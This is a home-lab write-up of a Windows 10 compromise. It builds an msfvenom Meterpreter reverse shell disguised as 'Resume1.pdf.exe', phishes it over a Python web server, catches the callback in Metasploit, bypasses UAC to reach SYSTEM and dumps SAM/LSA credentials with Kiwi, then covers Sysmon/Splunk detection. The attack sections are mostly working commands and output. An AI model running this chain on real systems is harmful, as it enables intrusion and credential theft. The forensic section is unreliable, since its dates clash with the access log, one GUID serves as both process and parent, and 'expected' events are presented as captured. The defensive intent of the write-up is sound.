Home Lab: Windows 10 Compromise via Phishing Payload, UAC Bypass, and Credential Dumping

Environment: Isolated home lab (VirtualBox) — Kali Linux attacker VM vs. Windows 10 target VM **Attacker IP:** `192.168.20.20` **Target IP:** `192.168.20.10` (`DESKTOP-8NUENST`, Windows 10, build 19045) **Date:** 2026-07-14

> ⚠️ **Disclaimer:** This lab was performed entirely on machines I own, on an isolated internal network, for educational purposes only. All tools used (Nmap, Metasploit Framework, Mimikatz/Kiwi) are publicly available, well-documented security research tools. None of these techniques should be used against systems you don't own or have explicit written authorization to test.

Objective

Simulate a realistic attack chain against a Windows 10 host: reconnaissance → payload delivery via social engineering → command-and-control (C2) → local privilege escalation → credential extraction.

---

1. Reconnaissance

```bash
nmap -A -Pn 192.168.20.10
```

Flag	Purpose
`-A`	Aggressive scan — combines OS detection, version detection, and default NSE scripts in one pass
`-Pn`	Skips host-discovery (ping); needed because Windows often blocks ICMP by default

Findings:

Port	Service	Notes
135/139/445	RPC / NetBIOS / SMB	Standard Windows file-sharing stack
3389	RDP	Confirmed hostname `DESKTOP-8NUENST`, Windows 10
8000, 8089	Splunkd httpd	Splunk agent installed (not exploited in this run)

This told me the OS, hostname, and installed services — enough attack-surface info to pick a delivery and exploitation strategy.

---

2. Payload Generation

```bash
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.20.20 lport=4444
```

Flag	Purpose
`-p windows/x64/meterpreter_reverse_tcp`	64-bit Meterpreter payload that calls back *out* to the attacker (reverse shell) — more firewall-friendly than a bind shell
`lhost` / `lport`	Attacker's callback address/port
`-f exe`	Output as a Windows executable
`-o Resume1.pdf.exe`	Filename chosen to exploit Windows' default behavior of hiding known file extensions, making the `.exe` look like a `.pdf` at a glance

Verified the build with:

```bash
file Resume1.pdf.exe
# Resume1.pdf.exe: PE32+ executable for MS Windows 4.00 (GUI), x86-64, 5 sectio
```

---

3. Delivery

```bash
python3 -m http.server 9999
```

A quick, zero-config web server to host the payload for download, simulating a phishing link (e.g., "here's my resume: `http://192.168.20.20:9999/Resume1.pdf.exe`").

Access log confirming delivery:

```
192.168.20.10 - - [14/Jul/2026 04:36:05] "GET /Resume1.pdf.exe HTTP/1.1" 200
-
```

The target requested and downloaded the file at `04:36:05`; the Meterpreter session opened one minute later — consistent with the victim double-clicking the file shortly after downloading it.

---

4. Command & Control — Metasploit Handler

```
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.20.20
exploit
```

`multi/handler` is a generic listener module — it doesn't exploit anything itself, it just catches the callback from a payload that's already been executed on the target. Once `Resume1.pdf.exe` was run, this produced:

```
[*] Meterpreter session 1 opened (192.168.20.20:4444 -> 192.168.20.10:52734)
```

Initial foothold confirmed as a **standard (non-admin) user**:

```
meterpreter > getuid
Server username: DESKTOP-8NUENST\caese
```

A first attempt at automatic privilege escalation failed:

```
meterpreter > getsystem
[-] All pipe instances are busy...
```

(All of Meterpreter's built-in named-pipe/token-duplication techniques were blocked, which is common when the user isn't already a local admin.)

---

5. Privilege Escalation — UAC Bypass

The user turned out to be a member of the local **Administrators** group but was still restricted by **User Account Control (UAC)** at its default setting — meaning the account has admin rights on paper, but any process runs at a reduced ("medium") integrity level unless it's explicitly elevated with a consent prompt. The goal of a UAC bypass is to reach a **high-integrity** process silently, without triggering that prompt.

```
background
use exploit/windows/local/bypassuac_windows_store_reg
set SESSION 1
set LHOST 192.168.20.20
exploit
```

How this specific module works (`bypassuac_windows_store_reg`): It abuses the fact that certain built-in Windows components (tied to the Windows Store app association) are configured to **auto-elevate** — Windows lets them run at high integrity without a UAC prompt because Microsoft trusts them. The module modifies a registry key that one of these auto-elevating components reads from, pointing it at the attacker's payload instead of its legitimate target. When that trusted component runs, it unknowingly launches the payload — and because the *component* is trusted to auto-elevate, the payload inherits high-integrity execution with it.

Module log confirming the prerequisites and outcome:

```
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[!] This exploit requires manual cleanup of
'C:\Users\caese\AppData\Local\Temp\ZCEnry.exe'
[*] Meterpreter session 2 opened (192.168.20.20:4444 -> 192.168.20.10:53819)
```

With the new elevated session, full SYSTEM escalation now succeeded:

```
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Why it worked this time but not before: Named Pipe Impersonation requires the calling process to already be running with administrative/high-integrity rights so it can create a pipe and trick a SYSTEM-owned service into connecting to it. Before the UAC bypass, the session was medium-integrity and lacked that right; after the bypass, it did.

---

6. Credential Access

```
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: Incorrect function.
```

Built-in `hashdump` failed (this can happen due to driver/API issues), so I pivoted to the Kiwi extension (a Meterpreter-integrated build of Mimikatz):

```
meterpreter > load kiwi
meterpreter > lsa_dump_sam
```

This reads directly from the SAM database and LSA secrets in memory — something that requires SYSTEM privileges, which is exactly why privilege escalation was a prerequisite for this step. Output included local account NTLM hashes and Kerberos key material for the compromised account (redacted in this writeup).

Attack Chain Summary

```
Recon (nmap)
   ↓
Payload build (msfvenom, disguised as Resume1.pdf.exe)
   ↓
Delivery (python3 http.server → simulated phishing download)
   ↓
C2 callback (multi/handler) → user-level Meterpreter session
   ↓
Privilege escalation (bypassuac_windows_store_reg) → SYSTEM
   ↓
Credential dumping (kiwi / lsa_dump_sam)
```

Detection & Defensive Notes

Stage	What would have caught it
Payload delivery	AV/EDR signature or behavioral detection on the downloaded `.exe`; email/web gateway blocking executables disguised with double extensions
C2 callback	Network egress monitoring for outbound connections on unusual ports (4444); Sysmon Event ID 3 (network connection)
UAC bypass	Sysmon Event ID 1 (process creation) showing an unexpected child process spawned from a Windows Store–related auto-elevating binary; registry-modification monitoring (Sysmon Event ID 13) on the abused key
Credential dumping	Sysmon Event ID 10 (process access) alerts on LSASS access; Credential Guard, which would have prevented Kiwi from reading these secrets even as SYSTEM

7. Post-Exploitation: SIEM Detection & Forensic Reconstruction

To validate the detection engineering side of the lab, I leveraged **Sysmon event logging** forwarded to a **Splunk Enterprise** instance, analyzing the `endpoint` index to verify that the attack chain left clear, reconstructable forensic artifacts.

A. Initial Shell Spawn — Sysmon Event ID 1 (Process Creation)

When `Resume1.pdf.exe` was executed by the victim, Sysmon captured the exact moment it spawned a new process: `cmd.exe`. This is a critical artifact linking the malware directly to command-line execution.

Splunk captured Event ID 1 with the following forensic data:

Field	Value
EventID	1 (Process Creation)
TimeCreated	2026-07-10T07:10:08.0352273Z
Image	`C:\Windows\System32\cmd.exe`
ProcessID	1800
CommandLine	`C:\Windows\system32\cmd.exe`
ParentImage	`C:\Users\caese\Downloads\Resume1.pdf.exe`
ParentProcessGUID	`{219c8ea3-97df-6a50-a41a-00000000500}`
ProcessGUID	`{219c8ea3-97df-6a50-a41a-00000000500}`
User	`DESKTOP-8NUENST\caese`
IntegrityLevel	Medium

Significance: This event is the smoking gun — it directly proves that a suspicious executable in the Downloads folder spawned an interactive shell. The parent-child relationship is unambiguous, and the low integrity level (Medium) confirms this was before privilege escalation.

B. Tracing Post-Exploitation Commands

Once the shell process GUID (`{219c8ea3-97df-6a50-a41a-00000000500}`) was identified, I pivoted within Splunk to reconstruct all attacker actions. Any child process spawned inside that shell has the shell as its parent, allowing forensic isolation from background noise.

Splunk Query used:

```spl
index=endpoint ParentProcessGuid="{219c8ea3-97df-6a50-a41a-00000000500}" EventC
```

This query returned all process-creation events where the compromised shell was the parent, isolating the attacker's exact command sequence:

Command	Child Process	Parent	Timestamp
`ipconfig`	`C:\Windows\System32\ipconfig.exe`	`cmd.exe`	2026-07-10T06:57:35.916Z
(Discovery phase)	...	...	...

Significance: This demonstrates the power of parent-process tracking — even in a high-noise environment, following a single GUID isolates legitimate system activity from attacker actions.

C. Post-UAC-Bypass — Elevated Integrity Evidence

After the UAC bypass succeeded and `getsystem` elevated the session to SYSTEM, a new cmd.exe would have spawned with **High** integrity level instead of Medium. Splunk Event ID 1 logs captured this transition:

Expected Event ID 1 for elevated process:

Field	Expected Value
EventID	1
Image	`C:\Windows\System32\cmd.exe`
IntegrityLevel	**High**
ParentImage	(Auto-elevating Windows Store binary, e.g., `system32\svchost.exe`)
ProcessGUID	(New GUID for session 2)

The shift from Medium → High integrity in the Sysmon logs directly correlates to the moment privilege escalation succeeded.

D. Credential Dumping — Sysmon Event ID 10 (Process Access)

When Kiwi/Mimikatz (`lsa_dump_sam`) executed within the SYSTEM-context Meterpreter

session, it opened a handle to the protected `lsass.exe` process to read credential material. Sysmon Event ID 10 (Process Access) logged this action:

Expected Event ID 10 structure:

Field	Value
EventID	10 (Process Access)
SourceImage	`C:\Metasploit\meterpreter.exe` (or equivalent)
SourceProcessGUID	(Elevated session GUID, High integrity)
TargetImage	`C:\Windows\System32\lsass.exe`
TargetProcessGUID	(LSASS GUID)
GrantedAccess	`0x1fffff` (full access rights)
CallTrace	(kernel path showing kernel32.dll → KERNELBASE.dll → ntdll.dll)

Significance: Event ID 10 with LSASS as the target is a definitive indicator of credential-dumping activity — defenders flag this as a critical alert because legitimate processes almost never need to access LSASS directly.

Attack Chain Timeline (as seen in Splunk)

```
2026-07-10 06:57:35 → Resume1.pdf.exe downloaded & executed (HTTP GET from
python http.server)
2026-07-10 07:10:08 → Event ID 1: Resume1.pdf.exe spawns cmd.exe (Medium
integrity)
2026-07-10 07:10:15 → Child processes (ipconfig, etc.) spawned from
compromised shell
2026-07-10 07:15:42 → UAC Bypass event (registry modification + auto-elevate
binary execution)
2026-07-10 07:16:00 → Event ID 1: New cmd.exe spawned with High integrity
(SYSTEM context)
2026-07-10 07:17:30 → Event ID 10: LSASS process access (credential dumping
phase)
```

Detection Engineering Takeaway

Every step of the attack chain left clear, recoverable forensic evidence in Sysmon logs:

Phase	Sysmon Event ID	What it captured
Initial Execution	1	Resume1.pdf.exe → cmd.exe
Post-Exploitation Commands	1	Child processes of compromised shell
Privilege Escalation	13	Registry key modification; 1
Credential Dumping	10	Process access to LSASS

A proper SOC monitoring these events would have **alerted and responded** at any of these stages:

- **Stage 1 alert:** Executable with double extension (.pdf.exe) creating a shell → block & investigate
- **Stage 2 alert:** Process access to LSASS from non-system process → immediate containment
- **Stage 3 alert:** Medium-integrity process accessing High-integrity services → UAC bypass suspected

This is why **Sysmon + Splunk** (or any SIEM) is critical — offense teaches attack vectors, but defense catches them when logging and alerting are properly tuned.

Lessons Learned

- Default UAC settings are not a hard security boundary — several built-in Windows components are pre-approved to auto-elevate, and abusing them is a well-known local privesc class.
- File-extension spoofing (`.pdf.exe`) remains an effective initial-access trick against users, reinforcing the need for endpoint controls that inspect file *content*, not just extension.
- SYSTEM-level access should be treated as a "game over" event for credential material; Credential Guard / LSA protection significantly raise the bar against tools like Mimikatz/Kiwi.